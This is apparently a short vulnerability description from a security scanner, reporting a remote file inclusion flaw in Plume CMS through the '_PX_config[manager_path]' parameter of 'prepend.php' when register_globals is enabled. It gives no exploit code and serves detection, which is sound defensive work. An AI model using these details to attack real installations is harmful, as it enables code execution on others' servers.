"The system is running Plume CMS a simple but powerful 
content management system.

The version installed does not sanitize user input in the
'_PX_config[manager_path]' parameter in the 'prepend.php' file.
This allows an attacker to include arbitrary files and execute code
on the system.

This flaw is exploitable if PHP's register_globals is enabled.");
